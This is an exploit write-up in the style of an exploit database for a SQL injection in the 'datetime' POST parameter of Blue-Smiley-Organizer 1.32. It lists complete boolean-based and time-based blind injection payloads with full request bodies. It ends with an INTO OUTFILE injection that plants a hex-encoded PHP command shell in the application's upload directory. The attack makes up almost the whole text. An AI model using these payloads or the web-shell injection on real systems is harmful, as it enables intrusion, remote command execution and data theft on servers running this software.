delpino73 Blue-Smiley-Organizer 1.32 SQL Injection

`Exploit Title: delpino73 Blue-Smiley-Organizer 1.32 - 'datetime' SQL Injection  
Date: 2019-10-28  
Exploit Author: Cakes  
Vendor Homepage: https://github.com/delpino73/Blue-Smiley-Organizer  
Software Link: https://github.com/delpino73/Blue-Smiley-Organizer.git  
Version: 1.32  
Tested on: CentOS7  
CVE : N/A  
  
# PoC: Multiple SQL Injection vulnerabilities  
# Nice and easy SQL Injection  
  
Parameter: datetime (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)  
Payload: datetime=2019-10-27 10:53:00' AND 6315=(SELECT (CASE WHEN (6315=6315) THEN 6315 ELSE (SELECT 3012 UNION SELECT 2464) END))-- sQtq&title=tester&category_id=1&new_category=&text=test2&public=1&save=Save Note  
Vector: AND [RANDNUM]=(SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))[GENERIC_SQL_COMMENT]  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: datetime=2019-10-27 10:53:00' AND (SELECT 7239 FROM (SELECT(SLEEP(5)))wrOx)-- cDKQ&title=tester&category_id=1&new_category=&text=test2&public=1&save=Save Note  
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])   
  
  
# Pop a PHP CMD Shell  
  
' LIMIT 0,1 INTO OUTFILE '/Path/To/Folder/upload/exec.php' LINES TERMINATED BY 0x3c3f7068702024636d64203d207368656c6c5f6578656328245f4745545b27636d64275d293b206563686f2024636d643b203f3e-- -  
`